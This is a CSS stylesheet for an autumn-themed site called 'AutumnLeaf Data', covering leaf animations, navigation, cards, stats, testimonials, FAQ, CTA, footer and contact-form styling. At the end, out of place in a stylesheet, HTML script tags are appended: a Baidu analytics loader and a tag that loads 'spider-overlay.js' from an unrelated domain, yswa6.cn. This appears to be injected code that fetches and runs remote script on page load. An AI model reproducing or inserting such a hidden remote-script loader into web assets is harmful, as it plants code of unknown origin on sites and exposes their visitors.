﻿/* ===== AutumnLeaf Data - Main Stylesheet ===== */
/* Color Palette: orange-600 (#EA580C) / red-600 (#DC2626) warm autumn */

:root {
  --autumn-orange: #EA580C;
  --autumn-orange-light: #F97316;
  --autumn-orange-dark: #C2410C;
  --autumn-red: #DC2626;
  --autumn-red-light: #EF4444;
  --autumn-gold: #D97706;
  --autumn-gold-light: #F59E0B;
  --autumn-brown: #78350F;
  --autumn-leaf: #B45309;
  --autumn-cream: #FFF7ED;
  --autumn-warm-bg: #FEF3C7;
  --shadow-warm: 0 8px 30px rgba(234,88,12,0.15);
  --shadow-warm-lg: 0 20px 50px rgba(220,38,38,0.2);
  --transition-smooth: 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

/* ===== Custom Font Import ===== */
@import url('https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300;400;500;700;900&display=swap');

body {
  font-family: 'Noto Sans SC', sans-serif;
  overflow-x: hidden;
}

/* ===== Falling Leaves Animation ===== */
.falling-leaves-container {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  pointer-events: none;
  z-index: 1;
  overflow: hidden;
}

.falling-leaf {
  position: absolute;
  top: -10%;
  opacity: 0.7;
  animation: leafFall linear infinite;
  color: var(--autumn-orange);
  font-size: 24px;
}

.falling-leaf:nth-child(1) { left: 5%; animation-duration: 8s; animation-delay: 0s; font-size: 28px; color: #DC2626; }
.falling-leaf:nth-child(2) { left: 15%; animation-duration: 12s; animation-delay: 2s; font-size: 20px; color: #EA580C; }
.falling-leaf:nth-child(3) { left: 25%; animation-duration: 9s; animation-delay: 4s; font-size: 32px; color: #D97706; }
.falling-leaf:nth-child(4) { left: 35%; animation-duration: 11s; animation-delay: 1s; font-size: 22px; color: #B45309; }
.falling-leaf:nth-child(5) { left: 45%; animation-duration: 7s; animation-delay: 3s; font-size: 26px; color: #DC2626; }
.falling-leaf:nth-child(6) { left: 55%; animation-duration: 13s; animation-delay: 5s; font-size: 18px; color: #EA580C; }
.falling-leaf:nth-child(7) { left: 65%; animation-duration: 10s; animation-delay: 2.5s; font-size: 30px; color: #D97706; }
.falling-leaf:nth-child(8) { left: 75%; animation-duration: 8.5s; animation-delay: 6s; font-size: 24px; color: #C2410C; }
.falling-leaf:nth-child(9) { left: 85%; animation-duration: 14s; animation-delay: 3.5s; font-size: 20px; color: #EF4444; }
.falling-leaf:nth-child(10) { left: 92%; animation-duration: 9.5s; animation-delay: 1.5s; font-size: 28px; color: #F59E0B; }

@keyframes leafFall {
  0% {
    transform: translateY(-10vh) rotate(0deg) translateX(0px);
    opacity: 0;
  }
  5% {
    opacity: 0.8;
  }
  50% {
    transform: translateY(50vh) rotate(180deg) translateX(80px);
    opacity: 0.6;
  }
  90% {
    opacity: 0.4;
  }
  100% {
    transform: translateY(105vh) rotate(360deg) translateX(-40px);
    opacity: 0;
  }
}

/* Hero specific falling leaves */
.hero-leaf {
  position: absolute;
  animation: heroLeafFloat 6s ease-in-out infinite;
  opacity: 0.3;
  pointer-events: none;
}

.hero-leaf:nth-child(1) { top: 10%; left: 10%; animation-delay: 0s; font-size: 36px; }
.hero-leaf:nth-child(2) { top: 20%; right: 15%; animation-delay: 2s; font-size: 28px; }
.hero-leaf:nth-child(3) { top: 60%; left: 20%; animation-delay: 4s; font-size: 32px; }
.hero-leaf:nth-child(4) { top: 40%; right: 10%; animation-delay: 1s; font-size: 24px; }
.hero-leaf:nth-child(5) { top: 75%; left: 60%; animation-delay: 3s; font-size: 30px; }

@keyframes heroLeafFloat {
  0%, 100% { transform: translateY(0) rotate(0deg); }
  25% { transform: translateY(-20px) rotate(90deg); }
  50% { transform: translateY(-10px) rotate(180deg); }
  75% { transform: translateY(-30px) rotate(270deg); }
}

/* ===== Navbar Styles ===== */
.navbar-custom {
  backdrop-filter: blur(10px);
  -webkit-backdrop-filter: blur(10px);
  transition: all var(--transition-smooth);
}

.navbar-custom.scrolled {
  background: rgba(255,255,255,0.95);
  box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}

.nav-link-custom {
  position: relative;
  transition: color var(--transition-smooth);
}

.nav-link-custom::after {
  content: '';
  position: absolute;
  bottom: -4px;
  left: 50%;
  transform: translateX(-50%) scaleX(0);
  width: 20px;
  height: 2px;
  background: var(--autumn-orange);
  transition: transform var(--transition-smooth);
  border-radius: 1px;
}

.nav-link-custom:hover::after,
.nav-link-custom.active::after {
  transform: translateX(-50%) scaleX(1);
}

/* Mobile menu */
.mobile-menu {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease-in-out;
}

.mobile-menu.open {
  max-height: 500px;
}

/* ===== Hero Section ===== */
.hero-gradient {
  background: linear-gradient(135deg, #FFF7ED 0%, #FED7AA 40%, #FDBA74 70%, #F97316 100%);
}

.hero-image-container {
  border-radius: 20px;
  overflow: hidden;
  box-shadow: var(--shadow-warm-lg);
  animation: heroImageFloat 4s ease-in-out infinite;
}

@keyframes heroImageFloat {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(-15px); }
}

.btn-autumn-primary {
  background: linear-gradient(135deg, #EA580C 0%, #DC2626 100%);
  border: none;
  padding: 14px 36px;
  font-weight: 600;
  letter-spacing: 0.5px;
  transition: all var(--transition-smooth);
  box-shadow: 0 6px 25px rgba(234,88,12,0.4);
}

.btn-autumn-primary:hover {
  transform: translateY(-3px);
  box-shadow: 0 10px 35px rgba(220,38,38,0.5);
}

.btn-autumn-secondary {
  background: transparent;
  border: 2px solid var(--autumn-orange);
  color: var(--autumn-orange);
  padding: 12px 34px;
  font-weight: 600;
  letter-spacing: 0.5px;
  transition: all var(--transition-smooth);
}

.btn-autumn-secondary:hover {
  background: var(--autumn-orange);
  color: white;
  transform: translateY(-3px);
}

/* ===== Feature Cards ===== */
.feature-card {
  background: white;
  border-radius: 16px;
  padding: 40px 28px;
  position: relative;
  transition: all var(--transition-smooth);
  overflow: hidden;
  border: 1px solid rgba(234,88,12,0.1);
}

.feature-card::before {
  content: '';
  position: absolute;
  top: -20px;
  right: -20px;
  width: 80px;
  height: 80px;
  background: linear-gradient(135deg, #FED7AA, #FDBA74);
  border-radius: 0 0 0 60px;
  opacity: 0;
  transition: all var(--transition-smooth);
  clip-path: polygon(100% 0, 0 0, 100% 100%);
}

.feature-card:hover::before {
  opacity: 1;
}

.feature-card:hover {
  transform: translateY(-8px);
  box-shadow: var(--shadow-warm);
  border-color: rgba(234,88,12,0.3);
}

.feature-icon-wrapper {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 64px;
  height: 64px;
  border-radius: 16px;
  background: linear-gradient(135deg, #FFF7ED, #FED7AA);
  margin-bottom: 20px;
  position: relative;
  z-index: 1;
  transition: all var(--transition-smooth);
}

.feature-card:hover .feature-icon-wrapper {
  background: linear-gradient(135deg, #EA580C, #DC2626);
}

.feature-card:hover .feature-icon-wrapper i {
  color: white !important;
}

/* Leaf corner decoration */
.feature-card::after {
  content: '\f41c';
  font-family: 'Font Awesome 6 Free';
  font-weight: 900;
  position: absolute;
  top: 8px;
  right: 12px;
  font-size: 16px;
  color: rgba(234,88,12,0.2);
  transition: all var(--transition-smooth);
  z-index: 0;
}

.feature-card:hover::after {
  color: rgba(234,88,12,0.5);
  transform: rotate(15deg);
}

/* ===== Stats Section ===== */
.stats-section {
  background: linear-gradient(135deg, #EA580C 0%, #C2410C 50%, #9A3412 100%);
  position: relative;
  overflow: hidden;
}

.stats-section::before {
  content: '';
  position: absolute;
  top: -50%;
  left: -20%;
  width: 80%;
  height: 200%;
  background: radial-gradient(ellipse, rgba(249,115,22,0.3) 0%, transparent 70%);
  animation: statsGlow 6s ease-in-out infinite;
}

@keyframes statsGlow {
  0%, 100% { opacity: 0.5; transform: scale(1); }
  50% { opacity: 0.8; transform: scale(1.1); }
}

.stat-number {
  font-size: 3rem;
  font-weight: 900;
  background: linear-gradient(to bottom, #FFFFFF, #FED7AA);
  -webkit-background-clip: text;
  background-clip: text;
  -webkit-text-fill-color: transparent;
}

.stat-leaf-frame {
  position: relative;
  display: inline-block;
}

.stat-leaf-frame::before,
.stat-leaf-frame::after {
  content: '\f41c';
  font-family: 'Font Awesome 6 Free';
  font-weight: 900;
  position: absolute;
  top: 50%;
  transform: translateY(-50%);
  font-size: 18px;
  color: rgba(253,186,116,0.6);
}

.stat-leaf-frame::before { left: -30px; }
.stat-leaf-frame::after { right: -30px; transform: translateY(-50%) scaleX(-1); }

/* ===== Testimonials ===== */
.testimonial-card {
  background: linear-gradient(135deg, #FFF7ED, #FFEDD5);
  border: 1px solid rgba(234,88,12,0.15);
  border-radius: 20px;
  padding: 36px 30px;
  position: relative;
  transition: all var(--transition-smooth);
}

.testimonial-card:hover {
  transform: translateY(-6px);
  box-shadow: var(--shadow-warm);
}

.testimonial-card::before {
  content: '\201C';
  position: absolute;
  top: 10px;
  left: 20px;
  font-size: 72px;
  line-height: 1;
  color: rgba(234,88,12,0.1);
  font-family: serif;
}

.leaf-rating {
  color: var(--autumn-orange);
  display: inline-flex;
  gap: 3px;
}

.leaf-rating i {
  font-size: 16px;
}

.leaf-rating i.empty {
  color: #DDD;
}

.testimonial-avatar {
  width: 56px;
  height: 56px;
  border-radius: 50%;
  border: 3px solid var(--autumn-orange);
  object-fit: cover;
}

/* ===== FAQ Accordion ===== */
.faq-item {
  border: 1px solid rgba(234,88,12,0.15);
  border-radius: 12px;
  margin-bottom: 12px;
  overflow: hidden;
  background: white;
  transition: all var(--transition-smooth);
}

.faq-item.active {
  border-color: var(--autumn-orange);
  box-shadow: 0 4px 20px rgba(234,88,12,0.1);
}

.faq-question {
  padding: 20px 24px;
  cursor: pointer;
  display: flex;
  justify-content: space-between;
  align-items: center;
  font-weight: 600;
  color: #374151;
  transition: all var(--transition-smooth);
  user-select: none;
}

.faq-question:hover {
  color: var(--autumn-orange);
}

.faq-item.active .faq-question {
  color: var(--autumn-orange);
}

.faq-icon {
  transition: transform 0.3s ease;
  font-size: 14px;
  color: var(--autumn-orange);
}

.faq-item.active .faq-icon {
  transform: rotate(180deg);
}

.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease, padding 0.4s ease;
}

.faq-item.active .faq-answer {
  max-height: 300px;
  padding: 0 24px 20px;
}

/* ===== CTA Section ===== */
.cta-autumn {
  background: linear-gradient(135deg, #EA580C 0%, #DC2626 50%, #B91C1C 100%);
  position: relative;
  overflow: hidden;
}

.cta-autumn::before {
  content: '';
  position: absolute;
  width: 300px;
  height: 300px;
  border-radius: 50%;
  background: radial-gradient(circle, rgba(255,255,255,0.1) 0%, transparent 70%);
  animation: ctaPulse 4s ease-in-out infinite;
}

.cta-autumn::before {
  top: -50px;
  right: -50px;
}

.cta-autumn::after {
  content: '';
  position: absolute;
  width: 200px;
  height: 200px;
  border-radius: 50%;
  background: radial-gradient(circle, rgba(255,255,255,0.08) 0%, transparent 70%);
  bottom: -30px;
  left: -30px;
  animation: ctaPulse 4s ease-in-out 2s infinite;
}

@keyframes ctaPulse {
  0%, 100% { transform: scale(1); opacity: 0.5; }
  50% { transform: scale(1.3); opacity: 0.2; }
}

.btn-cta-autumn {
  background: white;
  color: var(--autumn-red);
  padding: 16px 48px;
  border-radius: 50px;
  font-weight: 700;
  font-size: 1.1rem;
  letter-spacing: 0.5px;
  transition: all var(--transition-smooth);
  box-shadow: 0 8px 30px rgba(0,0,0,0.2);
}

.btn-cta-autumn:hover {
  transform: translateY(-4px) scale(1.02);
  box-shadow: 0 15px 40px rgba(0,0,0,0.35);
  color: var(--autumn-red);
}

.cta-leaf-decor {
  position: absolute;
  font-size: 28px;
  color: rgba(255,255,255,0.15);
  pointer-events: none;
  animation: ctaLeaf 5s ease-in-out infinite;
}

.cta-leaf-decor:nth-child(1) { top: 10%; left: 5%; animation-delay: 0s; }
.cta-leaf-decor:nth-child(2) { top: 60%; left: 10%; animation-delay: 1.5s; }
.cta-leaf-decor:nth-child(3) { top: 15%; right: 8%; animation-delay: 3s; }
.cta-leaf-decor:nth-child(4) { top: 70%; right: 12%; animation-delay: 2s; }
.cta-leaf-decor:nth-child(5) { top: 40%; right: 5%; animation-delay: 4s; }

@keyframes ctaLeaf {
  0%, 100% { transform: rotate(0deg) translateY(0); }
  33% { transform: rotate(20deg) translateY(-10px); }
  66% { transform: rotate(-20deg) translateY(5px); }
}

/* ===== Footer ===== */
.footer-autumn {
  background: linear-gradient(180deg, #1F1105 0%, #2D1A0A 50%, #3D2208 100%);
  color: #D6A46C;
}

.footer-autumn a {
  transition: color var(--transition-smooth);
}

.footer-autumn a:hover {
  color: var(--autumn-orange-light);
}

.footer-brand-icon {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 40px;
  height: 40px;
  border-radius: 10px;
  background: linear-gradient(135deg, #EA580C, #DC2626);
  color: white;
  font-size: 20px;
}

.footer-bottom {
  border-top: 1px solid rgba(214,164,108,0.2);
}

/* ===== Page Header (About / Contact) ===== */
.page-header {
  background: linear-gradient(135deg, #FFF7ED 0%, #FED7AA 50%, #FDBA74 100%);
  padding-top: 120px;
  padding-bottom: 60px;
  position: relative;
  overflow: hidden;
}

.page-header::before {
  content: '';
  position: absolute;
  top: -30%;
  right: -10%;
  width: 40%;
  height: 160%;
  background: radial-gradient(ellipse, rgba(234,88,12,0.15) 0%, transparent 70%);
}

/* ===== About Page Specific ===== */
.about-value-card {
  background: white;
  border-radius: 16px;
  padding: 30px 24px;
  text-align: center;
  border: 1px solid rgba(234,88,12,0.1);
  transition: all var(--transition-smooth);
}

.about-value-card:hover {
  transform: translateY(-5px);
  box-shadow: var(--shadow-warm);
}

.about-team-avatar {
  width: 100px;
  height: 100px;
  border-radius: 50%;
  border: 4px solid var(--autumn-orange);
  object-fit: cover;
}

/* ===== Contact Page Specific ===== */
.contact-form input,
.contact-form textarea,
.contact-form select {
  width: 100%;
  padding: 14px 18px;
  border: 2px solid rgba(234,88,12,0.2);
  border-radius: 12px;
  background: white;
  transition: all var(--transition-smooth);
  font-size: 1rem;
  outline: none;
}

.contact-form input:focus,
.contact-form textarea:focus,
.contact-form select:focus {
  border-color: var(--autumn-orange);
  box-shadow: 0 0 0 4px rgba(234,88,12,0.08);
}

.contact-form label {
  font-weight: 600;
  color: #374151;
  margin-bottom: 6px;
  display: block;
}

.contact-info-card {
  background: linear-gradient(135deg, #FFF7ED, #FFEDD5);
  border-radius: 16px;
  padding: 24px;
  border: 1px solid rgba(234,88,12,0.15);
}

.contact-icon-circle {
  width: 48px;
  height: 48px;
  border-radius: 50%;
  background: linear-gradient(135deg, #EA580C, #DC2626);
  display: inline-flex;
  align-items: center;
  justify-content: center;
  color: white;
  font-size: 20px;
}

/* ===== Scroll to Top Button ===== */
.scroll-top-btn {
  position: fixed;
  bottom: 30px;
  right: 30px;
  width: 48px;
  height: 48px;
  border-radius: 50%;
  background: linear-gradient(135deg, #EA580C, #DC2626);
  color: white;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 20px;
  box-shadow: 0 4px 20px rgba(234,88,12,0.4);
  opacity: 0;
  visibility: hidden;
  transform: translateY(20px);
  transition: all var(--transition-smooth);
  z-index: 50;
  cursor: pointer;
  border: none;
}

.scroll-top-btn.show {
  opacity: 1;
  visibility: visible;
  transform: translateY(0);
}

.scroll-top-btn:hover {
  transform: translateY(-3px);
  box-shadow: 0 8px 30px rgba(220,38,38,0.5);
}

/* ===== Responsive Adjustments ===== */
@media (max-width: 768px) {
  .stat-number {
    font-size: 2.2rem;
  }

  .stat-leaf-frame::before,
  .stat-leaf-frame::after {
    display: none;
  }

  .hero-image-container {
    margin-top: 30px;
  }

  .page-header {
    padding-top: 100px;
    padding-bottom: 40px;
  }

  .scroll-top-btn {
    bottom: 20px;
    right: 20px;
    width: 40px;
    height: 40px;
    font-size: 16px;
  }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

